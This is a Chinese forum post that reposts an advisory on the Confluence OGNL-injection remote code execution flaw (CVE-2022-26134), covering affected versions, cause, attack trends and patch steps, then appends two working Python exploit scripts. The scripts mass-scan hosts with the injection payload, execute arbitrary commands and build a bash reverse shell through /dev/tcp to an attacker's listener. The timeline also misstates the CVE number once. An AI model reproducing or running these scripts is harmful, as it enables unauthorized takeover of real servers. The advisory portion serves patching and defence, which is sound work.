登录后更精彩...O(∩_∩)O...
您需要 登录 才可以下载或查看,没有账号?立即注册
×
Atlassian Confluence 远程代码执行漏洞(CVE-2022-26134)风险通告
漏洞概述 Confluence是一个专业的企业知识管理与协同软件,也可以用于构建企业wiki。使用简单,可以用于企业团队共享信息、文档协作、集体讨论,信息推送。 2022年6月3日,Atlassian Confluence官方发布公告称Confluence Server 和Data Center存在未授权远程代码执行漏洞,该漏洞由于Confluence将URL翻译成namespace,导致攻击者可以在URL路径中构造OGNL表达式,造成表达式注入,从而远程代码执行。该漏洞被分配编号:CVE-2022-26134。 漏洞等级 CVSS3:10.0 (严重) 影响版本
Confluence Server and Data Center >= 1.3.0 Confluence Server and Data Center < 7.4.17 Confluence Server and Data Center < 7.13.7
Confluence Server and Data Center < 7.14.3 Confluence Server and Data Center < 7.15.2 Confluence Server and Data Center < 7.16.4
漏洞状态 已发现在野利用,PoC已公开。
原理分析问题原因较为简单,由于部分URI被作为OGNL(java中常用的表达式语言)解析,造成表达式注入。 在confluence/WEB-INF/lib/webwork-2.1.5-*.jar中可以看到获取了最后一个/之前的路径作为命名空间: 
在confluence/WEB-INF/lib/xwork-1.0.3.6.jar中对应的命名空间进行解析取值
可以发现对应使用了OGNL解析 
漏洞复现 
漏洞攻击趋势 根据分析统计(时间范围:2022-06-04 00:00 - 2022-06-04 20:00),该漏洞自2022年6月4日凌晨1点官方释放补丁包之后,最早于凌晨4点便有少量攻击者开始利用该漏洞,至下午16点形成日内攻击顶峰,攻击量呈稳步上升之势。

近24小时数据显示,攻击主要来自于美国和越南地区。24小时 TOP10数据如下:

检查修复建议
1、更新至修复版本,具体版本如下: 7.4.17 7.13.7 7.14.3 7.15.2 7.16.4 7.17.4 7.18.1
2、如无法立即升级版本,可按照官方解决方案下载补丁包替换受影响的文件,参考链接:https://confluence.atlassian.com ... -02-1130377146.html。
时间线
2022年6月3日 04:00,Atlassian发布安全公告Confluence存在未授权远程代码执行漏洞(CVE-2022-21634); 2022年6月4日 01:00,Atlassian更新安全公告发布安全版本及补丁信息。
修复建议升级: 建议用户升级到最新的支持版本。
缓解: 如无法立即升级 Confluence,作为缓解方法,可以通过为特定版本的产品更新以下文件来缓解该问题。 1.对于 Confluence 7.15.0 - 7.18.0
1)关闭 Confluence 2)下载新的jar包到Confluence 服务器:xwork-1.0.3-atlassian-10.jar 3)从Confluence 安装目录中移除旧的jar包:
[XML] 纯文本查看 复制代码 <confluence-install>/confluence/WEB-INF/lib/xwork-1.0.3-atlassian-8.jar
4)将先前下载的xwork-1.0.3-atlassian-10.jar包,复制到Confluence 安装目录:<confluence-install>/confluence/WEB-INF/lib/ (这里要注意新的jar包权限要和同目录中其他文件相同)
5)启动Confluence
2.对于 Confluence 7.0.0 - 7.14.2 1)关闭 Confluence 2)下载新的jar包到Confluence 服务器:
3)从Confluence 安装目录中移除旧的jar包,如:
[XML] 纯文本查看 复制代码 <confluence-install>/confluence/WEB-INF/lib/xwork-1.0.3.6.jar
<confluence-install>/confluence/WEB-INF/lib/webwork-2.1.5-atlassian-3.jar
4)将先前下载的xwork-1.0.3-atlassian-10.jar、webwork-2.1.5-atlassian-4.jar包,复制到Confluence 安装目录:<confluence-install>/confluence/WEB-INF/lib/ (这里要注意新的jar包权限要和同目录中其他文件相同)
5)切换到目录
[XML] 纯文本查看 复制代码 <confluence-install>/confluence/WEB-INF/classes/com/atlassian/confluence/setup
创建一个名为webwork的新目录
将CachedConfigurationProvider.class复制到<confluence-install>/confluence/WEB-INF/classes/com/atlassian/confluence/setup/webwork(确保权限和所有权和同目录文件相同)
启动 Confluence
————————————————
版权声明:本文为CSDN博主「墨菲安全」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/murphysec/article/details/125122526
[Python] 纯文本查看 复制代码 #coding:utf-8
from email import header
import requests
import sys
import urllib3
urllib3.disable_warnings()
def start():
a=''''
_____________ _______________ _______________ ________ ________ ________ ____________________ _____
\_ ___ \ \ / /\_ _____/ \_____ \ _ \ \_____ \\_____ \ \_____ \/ _____/_ \_____ \ / | |
/ \ \/\ Y / | __)_ ______ / ____/ /_\ \ / ____/ / ____/ ______ / ____/ __ \ | | _(__ < / | |_
\ \____\ / | \ /_____/ / \ \_/ \/ \/ \ /_____/ / \ |__\ \| |/ \/ ^ /
\______ / \___/ /_______ / \_______ \_____ /\_______ \_______ \ \_______ \_____ /|___/______ /\____ |
\/ \/ \/ \/ \/ \/ \/ \/ \/ |__|
by axing
使用语法
单个验证 python cve-2022-26134.py url
批量验证 python cve-2022-26134.py url.txt
'''
print (a)
def poc(host):
command = 'id'
url=host +"/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22{}%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/".format(command)
response = requests.get(url=url, verify=False, allow_redirects=False)
if(response.status_code == 302):
hea=response.headers['X-Cmd-Response']
if 'uid' in hea:
print(hea)
print('【+】{} 存在漏洞'.format(host))
with open('re.txt','a+') as w:
w.write(host+"\n")
else:
print('【-】{}不存在漏洞'.format(host))
return False
def pocs():
with open('url.txt','r') as f:
for line in f.readlines():
url=line.strip()
print (url)
try:
poc(url)
except requests.ConnectTimeout:
print(f'[-]{url} 检测超时')
continue
except requests.ConnectionError:
print(f'[-]{url} 检测错误')
continue
if __name__=='__main__':
start()
if 'url.txt' in sys.argv[1]:
pocs()
elif 'http' in sys.argv[1]:
poc(sys.argv[1])
else:
print('语法错误')
[Python] 纯文本查看 复制代码 #!/usr/bin/python3
# coding: utf-8
# cve2022-26134
# by: lxxl
import urllib
import requests
import re
import sys
from bs4 import BeautifulSoup
import urllib3
urllib3.disable_warnings()
import argparse
def check(url):
r = requests.get(url + "/login.action", verify=False)
if (r.status_code == 200):
filter_version = re.findall("<span id='footer-build-information'>.*</span>", r.text)
if (len(filter_version) >= 1):
version = filter_version[0].split("'>")[1].split('</')[0]
return version
else:
return False
else:
return url
def exploit(url, command):
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36',
'Content-Type': 'application/x-www-form-urlencoded',
'Accept': '*/*',
}
r = requests.get(
url + '/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22' + command + '%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/',
headers=headers, verify=False, allow_redirects=False)
if (r.status_code == 302):
return r.headers['X-Cmd-Response']
else:
return False
def shell():
shell = ip + "/" + port
shell1 = "'bash','-c','bash -i >& "
exp = shell1 + "/dev/tcp/" + shell + " 0>&1'"
payload1 = '''${new javax.script.ScriptEngineManager().getEngineByName("nashorn").eval("new java.lang.ProcessBuilder().command('''
payload2 = exp + ''').start()")}/'''
payloads = payload1 + payload2
s = urllib.parse.quote(payloads)
return s
if __name__ == "__main__":
parser = argparse.ArgumentParser(description='cve2022-26134')
parser.add_argument('-u', '--url', help='target url', required=False)
parser.add_argument('-c', '--command', help='command', required=False)
parser.add_argument('-i', '--lhost', help='type', required=False)
parser.add_argument('-p', '--lport', help='type', required=False)
args = parser.parse_args()
cmd = args.command
ip = args.lhost
port = args.lport
if (len(sys.argv) < 3):
print("USE: python3 " + sys.argv[0] + " -u [url=https://target.com]https://target.com[/url] -c command")
print("ex: python3 " + sys.argv[0] + " -u [url=https://target.com]https://target.com[/url] -i your.ip -p your.port")
if (sys.argv[3] == "-i"):
target = args.url
ip = args.lhost
port = args.lport
e = requests.get(target + shell())
if e.status_code == 200 or e.status_code == 302:
print("[+] exploit success")
else:
print("[-] exploit failed")
else:
target = args.url
cmd = cmd.replace("'", "")
version = check(target)
print("============ GET Confluence Version ============")
if (version):
print("Version: " + version)
else:
print("Version: Not Found")
print(exploit(target, cmd))
|